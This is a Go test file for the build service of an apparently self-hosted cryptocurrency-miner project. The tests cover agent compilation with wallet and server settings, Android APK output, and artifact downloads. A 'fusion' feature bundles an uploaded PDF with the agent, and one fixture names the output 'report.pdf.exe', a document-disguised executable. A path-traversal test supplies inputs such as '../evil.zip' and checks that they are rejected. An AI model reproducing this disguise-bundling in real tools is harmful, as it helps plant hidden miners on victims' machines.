package builder import ( "bytes" "context" "encoding/json" "mime/multipart" "net/http" "net/http/httptest" "os" "path/filepath" "runtime" "strings" "testing" "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" ) func TestServeHTTPMultipartParseError(t *testing.T) { h := &Handler{} // Boundary mismatch triggers ParseMultipartForm error. req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", strings.NewReader("not-multipart")) req.Header.Set("Content-Type", "multipart/form-data; boundary=----BOUND") rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status: %d", rec.Code) } } func TestServeHTTPMultipartMissingConfig(t *testing.T) { h := &Handler{} body := &bytes.Buffer{} w := multipart.NewWriter(body) w.Close() req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body) req.Header.Set("Content-Type", w.FormDataContentType()) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String()) } } func TestServeHTTPMultipartFusionMissingPrep(t *testing.T) { h := &Handler{} body := &bytes.Buffer{} mw := multipart.NewWriter(body) cfg, _ := json.Marshal(BuildRequest{ WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true, }) _ = mw.WriteField("config", string(cfg)) mw.Close() req := httptest.NewRequest(http.MethodPost, "/api/v1/builder", body) req.Header.Set("Content-Type", mw.FormDataContentType()) rec := httptest.NewRecorder() h.ServeHTTP(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status: %d", rec.Code) } } func TestServeEstimateMultipartSuccess(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} body := &bytes.Buffer{} mw := multipart.NewWriter(body) cfg, _ := json.Marshal(BuildRequest{ WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", FusionEnabled: true, }) _ = mw.WriteField("config", string(cfg)) part, _ := mw.CreateFormFile("prep_exe", "prep.pdf") _, _ = part.Write([]byte("%PDF")) mw.Close() req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body) req.Header.Set("Content-Type", mw.FormDataContentType()) rec := httptest.NewRecorder() h.ServeEstimate(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status: %d body: %s", rec.Code, rec.Body.String()) } var est FusionEstimateResponse if err := json.NewDecoder(rec.Body).Decode(&est); err != nil { t.Fatal(err) } if est.EstimatedTotalBytes <= 0 { t.Fatalf("expected positive estimate: %+v", est) } } func TestServeEstimateFusionDisabled(t *testing.T) { h := &Handler{dataDir: t.TempDir(), projectRoot: t.TempDir()} body := &bytes.Buffer{} mw := multipart.NewWriter(body) cfg, _ := json.Marshal(BuildRequest{ WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", }) _ = mw.WriteField("config", string(cfg)) part, _ := mw.CreateFormFile("prep_exe", "prep.pdf") _, _ = part.Write([]byte("x")) mw.Close() req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/estimate", body) req.Header.Set("Content-Type", mw.FormDataContentType()) rec := httptest.NewRecorder() h.ServeEstimate(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status: %d", rec.Code) } } func TestDownloadBuildUsesFileNameDisposition(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe") if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir} req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", "bid-2") req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuild(rec, req) if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") { t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition")) } } func TestDownloadBuildSuccess(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() artifact := filepath.Join(dataDir, "builds", "bid-1", "worker.exe") if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: "bid-1", FilePath: artifact, FileName: "worker.exe", CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir} req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-1/download", nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", "bid-1") req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuild(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status: %d", rec.Code) } } func TestDownloadBuildNotFound(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() h := &Handler{db: database, dataDir: t.TempDir()} req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/missing/download", nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", "missing") req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuild(rec, req) if rec.Code != http.StatusNotFound { t.Fatalf("status: %d", rec.Code) } } func TestDownloadBuildArtifactInBuildDir(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() buildID := "art-1" zipName := "bundle.zip" zipPath := filepath.Join(dataDir, "builds", buildID, zipName) if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(zipPath, []byte("zip"), 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()} req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", buildID) rctx.URLParams.Add("name", zipName) req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuildArtifact(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status: %d", rec.Code) } } func TestDownloadBuildArtifactInvalidName(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() h := &Handler{db: database, dataDir: t.TempDir()} if err := database.InsertBuild(&models.BuildRecord{ID: "x", CreatedAt: time.Now()}); err != nil { t.Fatal(err) } req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/x/artifact/evil", nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", "x") rctx.URLParams.Add("name", "../evil.zip") req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuildArtifact(rec, req) if rec.Code != http.StatusBadRequest { t.Fatalf("status: %d", rec.Code) } } func TestDownloadUninstallMissing(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() artifact := filepath.Join(dataDir, "builds", "u1", "worker.exe") if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil { t.Fatal(err) } if err := os.WriteFile(artifact, []byte("x"), 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: "u1", WorkerName: "pc", FilePath: artifact, CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir} req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/u1/uninstall", nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", "u1") req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadUninstall(rec, req) if rec.Code != http.StatusNotFound { t.Fatalf("status: %d", rec.Code) } } func TestBuildAgentSinglePlatformCompileFails(t *testing.T) { h, database := testHandlerDB(t) defer database.Close() setFakeGoFail(t, h) req := &BuildRequest{ TargetOS: "windows", WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", } resp, code, _ := h.buildAgent(context.Background(), req, "") if code != http.StatusInternalServerError || resp.Success { t.Fatalf("expected compile error: code=%d %+v", code, resp) } } func TestBuildAgentUniversalDelegatesCompileFails(t *testing.T) { h, database := testHandlerDB(t) defer database.Close() setFakeGoFail(t, h) req := &BuildRequest{ TargetOS: "universal", WorkerName: "pc", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", } resp, code, _ := h.buildAgent(context.Background(), req, "") if code != http.StatusInternalServerError || resp.Success { t.Fatalf("universal build should fail compile: code=%d %+v", code, resp) } if !strings.Contains(resp.Error, "compile") && resp.Error == "" { t.Fatalf("expected compile-related error: %q", resp.Error) } } func TestCopyAgentSourceFromWorkspace(t *testing.T) { h, database := testHandlerDB(t) defer database.Close() dest := t.TempDir() if err := h.copyAgentSource(dest); err != nil { t.Fatal(err) } if _, err := os.Stat(filepath.Join(dest, "main.go")); err != nil { t.Fatalf("main.go not copied: %v", err) } if _, err := os.Stat(filepath.Join(dest, "config", "builtin.go")); err == nil { t.Fatal("builtin.go should be skipped during copy") } } func TestDownloadBuildArtifactTraversalVariants(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() buildID := "trav-1" if err := database.InsertBuild(&models.BuildRecord{ID: buildID, CreatedAt: time.Now()}); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()} cases := []string{"../evil.zip", "..", "foo/../../secret.zip", `..\windows\system32`} for _, name := range cases { req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+name, nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", buildID) rctx.URLParams.Add("name", name) req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuildArtifact(rec, req) if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound { t.Fatalf("name=%q status=%d want 400 or 404", name, rec.Code) } } } func TestDownloadBuildArtifactFusionBundleInBuildDir(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() buildID := "fusion-art" zipName := "report-package.zip" zipPath := filepath.Join(dataDir, "builds", buildID, zipName) if err := os.MkdirAll(filepath.Dir(zipPath), 0755); err != nil { t.Fatal(err) } content := []byte("fusion-zip-payload") if err := os.WriteFile(zipPath, content, 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: buildID, FileName: "report.pdf.exe", Platform: "windows", DownloadURL: "/api/v1/builds/" + buildID + "/artifact/" + zipName, CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()} req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+zipName, nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", buildID) rctx.URLParams.Add("name", zipName) req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuildArtifact(rec, req) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } if rec.Body.String() != string(content) { t.Fatalf("body mismatch") } if !strings.Contains(rec.Header().Get("Content-Disposition"), zipName) { t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition")) } } func TestDownloadBuildArtifactAPK(t *testing.T) { database, err := db.New(t.TempDir()) if err != nil { t.Fatal(err) } defer database.Close() dataDir := t.TempDir() buildID := "apk-dl-1" apkName := "agent-tablet.apk" apkPath := filepath.Join(dataDir, "builds", buildID, apkName) if err := os.MkdirAll(filepath.Dir(apkPath), 0755); err != nil { t.Fatal(err) } apkContent := []byte("PK\x03\x04fake-apk") if err := os.WriteFile(apkPath, apkContent, 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: buildID, FileName: apkName, FilePath: apkPath, Platform: "android", CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } h := &Handler{db: database, dataDir: dataDir, projectRoot: t.TempDir()} // Primary build download route req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/download", nil) rctx := chi.NewRouteContext() rctx.URLParams.Add("id", buildID) req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx)) rec := httptest.NewRecorder() h.DownloadBuild(rec, req) if rec.Code != http.StatusOK { t.Fatalf("download status=%d", rec.Code) } if rec.Body.String() != string(apkContent) { t.Fatalf("apk download body mismatch") } if !strings.Contains(rec.Header().Get("Content-Disposition"), apkName) { t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition")) } // Named artifact route (same file in build dir) req2 := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/"+apkName, nil) rctx2 := chi.NewRouteContext() rctx2.URLParams.Add("id", buildID) rctx2.URLParams.Add("name", apkName) req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx2)) rec2 := httptest.NewRecorder() h.DownloadBuildArtifact(rec2, req2) if rec2.Code != http.StatusOK { t.Fatalf("artifact status=%d", rec2.Code) } } func TestWriteApkConfigJSONFilePermissions(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Windows umask maps 0644 writes to 0666 — POSIX perm bits checked on Linux CI") } h, database := testHandlerDB(t) t.Cleanup(func() { _ = database.Close() }) assetsDir := h.apkAssetsDir() if err := os.MkdirAll(assetsDir, 0755); err != nil { t.Fatal(err) } req := &BuildRequest{WorkerName: "perm-tab", ServerURL: "http://10.0.0.3:8989", MiningDisabled: true} if err := h.writeApkConfigJSON(req, "perm-build"); err != nil { t.Fatal(err) } cfgPath := filepath.Join(assetsDir, "config.json") info, err := os.Stat(cfgPath) if err != nil { t.Fatal(err) } if info.Mode().Perm() != 0644 { t.Fatalf("config.json perm=%o want 0644", info.Mode().Perm()) } dirInfo, err := os.Stat(assetsDir) if err != nil { t.Fatal(err) } if dirInfo.Mode().Perm()&0777 != 0755 { t.Fatalf("assets dir perm=%o want 0755", dirInfo.Mode().Perm()&0777) } } func TestSaveUploadedFusionPayloadNilHeader(t *testing.T) { h := &Handler{dataDir: t.TempDir()} _, _, err := h.saveUploadedFusionPayload(nil, nil) if err == nil || !strings.Contains(err.Error(), "missing") { t.Fatalf("expected missing header error, got %v", err) } }